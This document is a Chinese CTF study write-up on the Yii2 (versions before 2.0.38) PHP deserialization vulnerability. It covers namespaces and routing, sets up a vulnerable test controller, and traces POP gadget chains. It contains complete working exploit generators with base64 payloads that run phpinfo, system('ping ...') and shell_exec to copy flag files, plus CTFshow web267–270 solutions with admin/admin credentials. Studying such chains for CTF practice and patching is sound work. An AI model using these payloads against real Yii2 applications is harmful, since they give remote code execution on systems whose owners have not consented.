# 前言
CTFshow 做到这一块了,先简单的记录一下对 pop 链的构建,然后借助题来练习一下
文章参考 Yii2.0 路由(Route)的实现原理 - 教程 - Yii Framework 中文网 (yiichina.com)
(66 条消息) yii 反序列化漏洞复现及利用_yii 漏洞_拓海 AE 的博客 - CSDN 博客
# yii 框架
yii 是一个适用于 web2.0 的应用开发 php 框架
yii 是一个通用的 web 编程框架,即可以开发各种用 PHP 构建的 web 应用。因为基于组件的框架结构,比较适合大型应用开发,现在主要使用的是 2.0 这个重写的版本,它使用了 php 的命名空间和特质的特性
# 漏洞描述
yii2.2.0.38 之前的版本存在反序列化漏洞,程序在调用 unserialize 时,我们可以通过构造特定的 payload 来进行 rce
# 环境搭建
选择的版本是 2.0.37Release 2.0.37 · yiisoft/yii2 · GitHub
在 config/web.php 文件的 cookieValidationKey 为一个值(这个值为一个随机的值就可以了,不然会报错 狗头.jpg)
在文件中有一个 yii 文件
运行这个文件就可以开启这个服务
访问给的这个地址
到此,一个简单的复现环境就搭建好了
# 漏洞复现 2.0.37
环境搭建好了就开始构造利用
# 知识点
这里主要简单记录一下以前写笔记时没有记录到的知识点
# 命名空间
PHP 的命名空间是一种用于解决命名冲突问题的技术。它可以让开发者在同一个程序中使用相同的类名、函数名或常量名,而不会发生命名冲突的问题。
空间成员
:这里空间成员是指空间所影响的(只影响类,函数,常量)
空间成员的访问:
一个 php 文件中,第一个空间的定义义必须放在第 1 行。如果所要定义的空间已存在,则是进入空间
<?php | |
namespace app; | |
function test(){ | |
echo 1; | |
} | |
test();//app\test() | |
namespace app\assets; | |
function test(){ | |
echo 2; | |
} | |
test();//app\assets\test() |
在 PHP 中,命名空间可以通过关键字 namespace
来定义。例如,下面的代码定义了命名空间 MyNamespace
:
namespace MyNamespace; | |
class MyClass { | |
// class definition | |
} |
在定义了命名空间之后,我们可以使用完全限定名称(Fully Qualified Name)来访问该命名空间中的类、函数或常量。例如,如果要访问上面定义的 MyClass
类,可以使用以下代码:
$obj = new \MyNamespace\MyClass(); |
在上面的代码中, \
表示根命名空间,因此 \MyNamespace\MyClass
表示完全限定名称。
引入空间成员
:
use 空间名 \ 空间名 【as 别名】:将指定空间引入到当前空间。同可以使用 as 关键字为被引入的空间起个别名。
use 空间名 \ 空间名 \ 成员类 【as 别名】:将指定的空间中的成员引入到当前空间,引入空间成员只能引入类。
# 路由
这里可以看一下日志,可以看到所有的用户请求都是发送给入口脚本 index.php
来处理的。那么,开发者需要一种高效的判断请求应当采用哪个 controller 哪个 action 进行处理的方法。
这里并不像是像有些网站那种 https://www.cnblogs.com/LQ-Joker/p/16102371.html 一是过于冗长,二是易出错且难排查,三是日后修改起来容易有遗漏,yii 提供了路由和 URL 管理的组件路由是指 URL 中用于标识用于处理用户请求的 module, controller, action 的部分,一般情况下由 r
查询参数来指定。如 http://www.digpage.com/index.php?r=post/view&id=100
,表示这个请求将由 PostController 的 actionView 来处理。
更多的可以膜拜一下上面路由原理教程
# 复现
我们利用的是反序列化漏洞,所以我们需要构建一个反序列化的入口
在 Controllers 下面创建一个 TestController 文件
<?php | |
namespace app\controllers; | |
class TestController extends \yii\web\Controller | |
{ | |
public function actionTest($data) | |
{ | |
return unserialize(base64_decode($data)); | |
} | |
} |
漏洞利用点, basic/vendor/yiisoft/yii2/db/BatchQueryResult.php
这个文件下
public function __destruct() | |
{ | |
// make sure cursor is closed | |
$this->reset(); | |
} | |
/** | |
* Resets the batch query. | |
* This method will clean up the existing batch query so that a new batch query can be performed. | |
*/ | |
public function reset() | |
{ | |
if ($this->_dataReader !== null) { | |
$this->_dataReader->close(); | |
} | |
$this->_dataReader = null; | |
$this->_batch = null; | |
$this->_value = null; | |
$this->_key = null; | |
} |
这里有一个__destruct 函数,通过反序列化会自动调用这个函数,跟到下一步 reset (),这里只有一个 close 可以跟进
这里继续跟进
没有发现可以利用的点,这里可以控制 $this->_dataReader,使用一个别的类中没有的参数,可以触发 __call
方法来进行利用。__call 函数的当调用一个不存在或者不可调用的方法的时候会自动调用,全局收索一下,那些地方有__call 函数可以利用,在 basic/vendor/fzaninotto/faker/src/Faker/Generator.php
这个文件下
至于为什么选用这个函数,我们再进一步,查看 format 函数
这里有一个回调函数,如果里面的参数可控这里就可以直接利用了
call_user_func_array(callable $callback, array $param_arr): mixed | |
callback | |
被调用的回调函数。 | |
param_arr | |
要被传入回调函数的数组,这个数组得是索引数组。 | |
function a($b, $c) { | |
echo $b; | |
echo $c; | |
} | |
call_user_func_array('a', array("111", "222")); | |
//输出 111 222 |
接着跟进 getFormatter 函数
在第一个 if 语句就可以看到,这里对上面回调函数中的第一个参数是可控的,后一个参数这个函数写为空值了
这里需要一个类,可以命令执行,这里看到师傅们用的是 call_user_func
这里全局找一下带有 call_user_func 的类,这里找到两个参数可控的类
basic/vendor/yiisoft/yii2/rest/IndexAction.php
basic/vendor/yiisoft/yii2/rest/CreateAction.php
这两个类都可以使用,pop 链还是比较好构造的
yii\db\BatchQueryResult::__destruct()->reset()->close() | |
↓↓↓ | |
Fake\Generator::__call()->format()->call_user_func_array | |
↓↓↓ | |
yii\rest\IndexAction::run()->call_user_func |
Payload:
<?php | |
namespace yii\rest{ | |
class IndexAction{ | |
public $checkAccess="phpinfo"; // 调用的函数 | |
public $id="1"; // 函数中的参数 | |
} | |
} | |
namespace Faker{ | |
use yii\rest\IndexAction; | |
class Generator{ | |
protected $formatters; | |
public function __construct() | |
{ | |
$this->formatters['close'] = [new IndexAction(),'run']; | |
} | |
} | |
} | |
namespace yii\db{ | |
use Faker\Generator; | |
class BatchQueryResult{ | |
private $_dataReader; | |
public function __construct() | |
{ | |
$this->_dataReader = new Generator(); | |
} | |
} | |
} | |
namespace { | |
use yii\db\BatchQueryResult; | |
echo base64_encode(serialize(new BatchQueryResult())); | |
} | |
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo3OiJwaHBpbmZvIjtzOjI6ImlkIjtzOjE6IjEiO31pOjE7czozOiJydW4iO319fX0= |
成功执行 phpinfo,执行一个 ping www.baidu.com
# 其他 pop 链
看到师傅利用别的函数也有 pop 链,学习记录一下
链子的起点还是 basic/vendor/yiisoft/yii2/db/BatchQueryResult.php
这个文件下的__destruct 函数,这个 pop 中没有再啊利用 call 魔术方法,而是找到了一个本来就有的 close 函数来实现命令执行,找到的利用函数在 basic/vendor/yiisoft/yii2/web/DbSession.php
这里
这个函数下面的 composeFields 可以利用
call_user_func 这个函数中的参数也是可控的
pop:
yii\db\BatchQueryResult::__destruct()->reset()->close() | |
↓↓↓ | |
yii\web\DbSession::close()->composeFields()->call_user_func() | |
↓↓↓ | |
yii\rest\IndexAction::run()->call_user_func() |
<?php | |
namespace yii\rest{ | |
class IndexAction{ | |
public $checkAccess="system"; | |
public $id="ping www.baidu.com"; | |
} | |
} | |
namespace yii\web{ | |
use yii\rest\IndexAction; | |
class DbSession{ | |
public $writeCallback; | |
public function __construct(){ | |
$this->writeCallback = [new IndexAction(),'run']; | |
} | |
} | |
} | |
namespace yii\db{ | |
use yii\web\DbSession; | |
class BatchQueryResult{ | |
private $_dataReader; | |
public function __construct() | |
{ | |
$this->_dataReader = new DbSession(); | |
} | |
} | |
} | |
namespace { | |
use yii\db\BatchQueryResult; | |
echo base64_encode(serialize(new BatchQueryResult())); | |
} | |
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6MTg6InBpbmcgd3d3LmJhaWR1LmNvbSI7fWk6MTtzOjM6InJ1biI7fX19 |
也是测试成功
# web267
这里存在弱口令,admin、admin
登录后在 about 的源码中有提示
get 传入 view-source
这里找到了反序列化的入口,用上面的 poc 直接打就行(这里入口 r=backdoor/shell)
# web268-270
<?php | |
namespace yii\rest { | |
class Action | |
{ | |
public $checkAccess; | |
} | |
class IndexAction | |
{ | |
public function __construct($func, $param) | |
{ | |
$this->checkAccess = $func; | |
$this->id = $param; | |
} | |
} | |
} | |
namespace yii\web { | |
abstract class MultiFieldSession | |
{ | |
public $writeCallback; | |
} | |
class DbSession extends MultiFieldSession | |
{ | |
public function __construct($func, $param) | |
{ | |
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; | |
} | |
} | |
} | |
namespace yii\db { | |
use yii\base\BaseObject; | |
class BatchQueryResult | |
{ | |
private $_dataReader; | |
public function __construct($func, $param) | |
{ | |
$this->_dataReader = new \yii\web\DbSession($func, $param); | |
} | |
} | |
} | |
namespace { | |
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); // 此处写命令 | |
echo(base64_encode(serialize($exp))); | |
} |
换一个链子就行